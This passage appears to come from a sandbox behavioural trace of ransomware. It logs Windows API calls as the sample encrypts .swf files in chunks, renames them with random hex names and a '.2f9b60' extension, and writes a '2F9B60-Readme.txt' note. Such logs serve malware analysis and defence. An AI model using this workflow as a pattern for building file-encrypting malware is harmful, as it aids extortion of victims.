(in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="2c") returned 2 [0100.703] sprintf (in: _Dest=0x1cd97388, _Format="%c%c" | out: _Dest="e0") returned 2 [0100.703] sprintf (in: _Dest=0x1cd9738a, _Format="%c%c" | out: _Dest="fb") returned 2 [0100.704] sprintf (in: _Dest=0x1cd9738c, _Format="%c%c" | out: _Dest="6e") returned 2 [0100.704] sprintf (in: _Dest=0x1cd9738e, _Format="%c%c" | out: _Dest="4f") returned 2 [0100.704] sprintf (in: _Dest=0x1cd97390, _Format="%c%c" | out: _Dest="b3") returned 2 [0100.704] sprintf (in: _Dest=0x1cd97392, _Format="%c%c" | out: _Dest="be") returned 2 [0100.704] RtlInitAnsiString (in: DestinationString=0x1f74f7c8, SourceString="32c8583476db7c7381222671635ec6f7ab5d36c5d6a3f0b7475a652ce0fb6e4fb3be" | out: DestinationString="32c8583476db7c7381222671635ec6f7ab5d36c5d6a3f0b7475a652ce0fb6e4fb3be") [0100.704] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f74f798, SourceString="32c8583476db7c7381222671635ec6f7ab5d36c5d6a3f0b7475a652ce0fb6e4fb3be", AllocateDestinationString=1 | out: DestinationString="32c8583476db7c7381222671635ec6f7ab5d36c5d6a3f0b7475a652ce0fb6e4fb3be") returned 0x0 [0100.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x202b1230 [0100.704] wcscat (in: _Dest=0x202adad0, _Source="32c8583476db7c738" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\32c8583476db7c738") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\32c8583476db7c738" [0100.704] wcscat (in: _Dest=0x202adad0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\32c8583476db7c738.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\32c8583476db7c738.2f9b60" [0100.704] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\32c8583476db7c738.2f9b60", NtPathName=0x1f74f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\32c8583476db7c738.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118fd0 [0103.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118fd0) returned 1 [0103.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd996b0) returned 1 [0103.547] NtQueryInformationFile (in: FileHandle=0x1548, IoStatusBlock=0x1f74f7d8, FileInformation=0x1f74f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f74f7d8, FileInformation=0x1f74f7e8) returned 0x0 [0103.547] NtSetInformationFile (FileHandle=0x1548, IoStatusBlock=0x1f74f7d8, FileInformation=0x1f74f7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adad0) returned 1 [0104.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1230) returned 1 [0104.045] FlushFileBuffers (hFile=0x1548) returned 1 [0104.048] CloseHandle (hObject=0x1548) returned 1 [0104.171] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x202b15f0 [0104.171] wcscpy (in: _Dest=0x202b15f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0104.171] wcscat (in: _Dest=0x202b15f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" [0104.171] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\2f9b60-readme.txt")) returned 0xffffffff [0104.556] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd7c [0104.631] WriteFile (in: hFile=0xd7c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1f74f690, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1f74f690*=0xba9, lpOverlapped=0x0) returned 1 [0104.633] CloseHandle (hObject=0xd7c) returned 1 [0106.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b15f0) returned 1 [0106.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a1f0) returned 1 Thread: id = 836 os_tid = 0x13f4 [0099.332] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\B2O9zVKAQkb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\b2o9zvkaqkb.swf")) returned 0x20 [0099.333] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\B2O9zVKAQkb.swf", dwFileAttributes=0x20) returned 1 [0099.333] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\B2O9zVKAQkb.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\b2o9zvkaqkb.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x154c [0099.333] GetFileSizeEx (in: hFile=0x154c, lpFileSize=0x20e0fa00 | out: lpFileSize=0x20e0fa00*=77485) returned 1 [0099.333] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0x12ea9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.333] ReadFile (in: hFile=0x154c, lpBuffer=0x20e0f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20e0f9c8, lpOverlapped=0x0 | out: lpBuffer=0x20e0f980*, lpNumberOfBytesRead=0x20e0f9c8*=0x4, lpOverlapped=0x0) returned 1 [0099.334] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619d0 [0099.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a60 [0099.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a90 [0099.335] NtQuerySystemTime (in: CurrentTime=0x20e0f8c0 | out: CurrentTime=0x20e0f8c0*=132462177048550000) returned 0x0 [0099.335] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x4f60511d [0099.335] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x48da284 [0099.335] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x5d522bb9 [0099.335] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x3669292a [0099.335] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x7f72740e [0099.335] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x422dbf73 [0099.335] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x5e12d303 [0099.335] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x38ff6d99 [0099.335] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x377b45a0 [0099.335] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x7aa202ee [0099.335] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x19187f20 [0099.335] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x5dce386c [0099.335] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x26e14d9a [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x7ca85a2c [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x66fd7559 [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x19551a7c [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x1e96fe3d [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x4561681c [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x7cfea7cd [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x274c875b [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x450c5416 [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x639a7082 [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x5514eb9c [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x37960fb3 [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x23efeba1 [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x3eacdd97 [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x1b2075a7 [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x35ce7c1e [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x324c64ac [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x45b78725 [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x44288aea [0099.336] RtlRandomEx (in: Seed=0x20e0f8b0 | out: Seed=0x20e0f8b0) returned 0x66725312 [0099.348] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.348] ReadFile (in: hFile=0x154c, lpBuffer=0x202c4d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20e0f920, lpOverlapped=0x0 | out: lpBuffer=0x202c4d00*, lpNumberOfBytesRead=0x20e0f920*=0x3c00, lpOverlapped=0x0) returned 1 [0099.348] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0099.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0099.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619d0 [0099.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202619d0) returned 1 [0099.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202c8910 [0099.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619d0 [0099.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a90 [0099.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261a90) returned 1 [0099.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0099.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0099.349] WriteFile (in: hFile=0x154c, lpBuffer=0x202c8910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20e0f920, lpOverlapped=0x0 | out: lpBuffer=0x202c8910*, lpNumberOfBytesWritten=0x20e0f920*=0x3c00, lpOverlapped=0x0) returned 1 [0100.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202c8910) returned 1 [0100.569] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.570] ReadFile (in: hFile=0x154c, lpBuffer=0x202c4d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20e0f920, lpOverlapped=0x0 | out: lpBuffer=0x202c4d00*, lpNumberOfBytesRead=0x20e0f920*=0x3c00, lpOverlapped=0x0) returned 1 [0100.570] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b86c2c0 [0100.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866cc0 [0100.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0100.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7f0) returned 1 [0100.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42031d40 [0100.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0100.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0100.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f850) returned 1 [0100.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0100.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c2c0) returned 1 [0100.934] WriteFile (in: hFile=0x154c, lpBuffer=0x42031d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20e0f920, lpOverlapped=0x0 | out: lpBuffer=0x42031d40*, lpNumberOfBytesWritten=0x20e0f920*=0x3c00, lpOverlapped=0x0) returned 1 [0101.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42031d40) returned 1 [0101.594] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0xf2ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.594] ReadFile (in: hFile=0x154c, lpBuffer=0x202c4d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20e0f920, lpOverlapped=0x0 | out: lpBuffer=0x202c4d00*, lpNumberOfBytesRead=0x20e0f920*=0x3c00, lpOverlapped=0x0) returned 1 [0101.595] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0xf2ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0101.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0101.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d70 [0101.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d70) returned 1 [0101.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42031d40 [0101.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d70 [0101.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0101.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c80) returned 1 [0101.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0101.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.596] WriteFile (in: hFile=0x154c, lpBuffer=0x42031d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20e0f920, lpOverlapped=0x0 | out: lpBuffer=0x42031d40*, lpNumberOfBytesWritten=0x20e0f920*=0x3c00, lpOverlapped=0x0) returned 1 [0101.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42031d40) returned 1 [0101.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced8ec0 [0101.720] SetFilePointerEx (in: hFile=0x154c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.720] WriteFile (in: hFile=0x154c, lpBuffer=0x133a20*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x20e0f9d0, lpOverlapped=0x0 | out: lpBuffer=0x133a20*, lpNumberOfBytesWritten=0x20e0f9d0*=0x150, lpOverlapped=0x0) returned 1 [0105.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0105.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261df0 [0105.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261df0) returned 1 [0105.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20261df0 [0105.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261dc0 [0105.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d60 [0105.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261d60) returned 1 [0105.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0105.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97620 [0105.041] sprintf (in: _Dest=0x1cd97620, _Format="%c%c" | out: _Dest="ab") returned 2 [0105.041] sprintf (in: _Dest=0x1cd97622, _Format="%c%c" | out: _Dest="b7") returned 2 [0105.041] sprintf (in: _Dest=0x1cd97624, _Format="%c%c" | out: _Dest="66") returned 2 [0105.041] sprintf (in: _Dest=0x1cd97626, _Format="%c%c" | out: _Dest="05") returned 2 [0105.041] sprintf (in: _Dest=0x1cd97628, _Format="%c%c" | out: _Dest="03") returned 2 [0105.041] sprintf (in: _Dest=0x1cd9762a, _Format="%c%c" | out: _Dest="37") returned 2 [0105.041] sprintf (in: _Dest=0x1cd9762c, _Format="%c%c" | out: _Dest="b8") returned 2 [0105.041] sprintf (in: _Dest=0x1cd9762e, _Format="%c%c" | out: _Dest="ad") returned 2 [0105.041] sprintf (in: _Dest=0x1cd97630, _Format="%c%c" | out: _Dest="b5") returned 2 [0105.042] sprintf (in: _Dest=0x1cd97632, _Format="%c%c" | out: _Dest="b1") returned 2 [0105.042] sprintf (in: _Dest=0x1cd97634, _Format="%c%c" | out: _Dest="7d") returned 2 [0105.042] sprintf (in: _Dest=0x1cd97636, _Format="%c%c" | out: _Dest="fe") returned 2 [0105.042] sprintf (in: _Dest=0x1cd97638, _Format="%c%c" | out: _Dest="c0") returned 2 [0105.042] sprintf (in: _Dest=0x1cd9763a, _Format="%c%c" | out: _Dest="80") returned 2 [0105.042] sprintf (in: _Dest=0x1cd9763c, _Format="%c%c" | out: _Dest="b5") returned 2 [0105.042] sprintf (in: _Dest=0x1cd9763e, _Format="%c%c" | out: _Dest="f7") returned 2 [0105.042] sprintf (in: _Dest=0x1cd97640, _Format="%c%c" | out: _Dest="b9") returned 2 [0105.042] sprintf (in: _Dest=0x1cd97642, _Format="%c%c" | out: _Dest="c5") returned 2 [0105.042] sprintf (in: _Dest=0x1cd97644, _Format="%c%c" | out: _Dest="75") returned 2 [0105.042] sprintf (in: _Dest=0x1cd97646, _Format="%c%c" | out: _Dest="ec") returned 2 [0105.042] sprintf (in: _Dest=0x1cd97648, _Format="%c%c" | out: _Dest="10") returned 2 [0105.042] sprintf (in: _Dest=0x1cd9764a, _Format="%c%c" | out: _Dest="e3") returned 2 [0105.042] sprintf (in: _Dest=0x1cd9764c, _Format="%c%c" | out: _Dest="ed") returned 2 [0105.042] sprintf (in: _Dest=0x1cd9764e, _Format="%c%c" | out: _Dest="21") returned 2 [0105.042] sprintf (in: _Dest=0x1cd97650, _Format="%c%c" | out: _Dest="0e") returned 2 [0105.042] sprintf (in: _Dest=0x1cd97652, _Format="%c%c" | out: _Dest="41") returned 2 [0105.042] sprintf (in: _Dest=0x1cd97654, _Format="%c%c" | out: _Dest="64") returned 2 [0105.042] sprintf (in: _Dest=0x1cd97656, _Format="%c%c" | out: _Dest="23") returned 2 [0105.042] sprintf (in: _Dest=0x1cd97658, _Format="%c%c" | out: _Dest="c9") returned 2 [0105.042] sprintf (in: _Dest=0x1cd9765a, _Format="%c%c" | out: _Dest="da") returned 2 [0105.042] RtlInitAnsiString (in: DestinationString=0x20e0fa48, SourceString="abb766050337b8adb5b17dfec080b5f7b9c575ec10e3ed210e416423c9da" | out: DestinationString="abb766050337b8adb5b17dfec080b5f7b9c575ec10e3ed210e416423c9da") [0105.042] RtlAnsiStringToUnicodeString (in: DestinationString=0x20e0fa18, SourceString="abb766050337b8adb5b17dfec080b5f7b9c575ec10e3ed210e416423c9da", AllocateDestinationString=1 | out: DestinationString="abb766050337b8adb5b17dfec080b5f7b9c575ec10e3ed210e416423c9da") returned 0x0 [0105.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a4fe0 [0105.043] wcscat (in: _Dest=0x4205d870, _Source="abb766050337b8a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\abb766050337b8a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\abb766050337b8a" [0105.043] wcscat (in: _Dest=0x4205d870, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\abb766050337b8a.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\abb766050337b8a.2f9b60" [0105.043] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\abb766050337b8a.2f9b60", NtPathName=0x20e0f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\abb766050337b8a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x202792b0 [0105.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202792b0) returned 1 [0105.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf0d0) returned 1 [0105.749] NtQueryInformationFile (in: FileHandle=0x154c, IoStatusBlock=0x20e0fa58, FileInformation=0x20e0fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20e0fa58, FileInformation=0x20e0fa68) returned 0x0 [0105.749] NtSetInformationFile (FileHandle=0x154c, IoStatusBlock=0x20e0fa58, FileInformation=0x20e0fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d870) returned 1 [0105.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4fe0) returned 1 [0105.752] FlushFileBuffers (hFile=0x154c) returned 1 [0105.838] CloseHandle (hObject=0x154c) returned 1 [0105.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x204fff50 [0105.840] wcscpy (in: _Dest=0x204fff50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\" [0105.840] wcscat (in: _Dest=0x204fff50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" [0105.840] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\2f9b60-readme.txt")) returned 0x20 [0106.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fff50) returned 1 [0106.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a290) returned 1 Thread: id = 837 os_tid = 0x13f8 [0099.352] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\cUI8WslED5rfjD.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\cui8wsled5rfjd.swf")) returned 0x20 [0099.352] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\cUI8WslED5rfjD.swf", dwFileAttributes=0x20) returned 1 [0099.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL\\cUI8WslED5rfjD.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vdyn-a vdduu1hl\\cui8wsled5rfjd.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1550 [0099.352] GetFileSizeEx (in: hFile=0x1550, lpFileSize=0x240afc00 | out: lpFileSize=0x240afc00*=40390) returned 1 [0099.352] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x9dc2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.352] ReadFile (in: hFile=0x1550, lpBuffer=0x240afb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x240afbc8, lpOverlapped=0x0 | out: lpBuffer=0x240afb80*, lpNumberOfBytesRead=0x240afbc8*=0x4, lpOverlapped=0x0) returned 1 [0099.353] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a90 [0099.354] RtlAllocateHeap 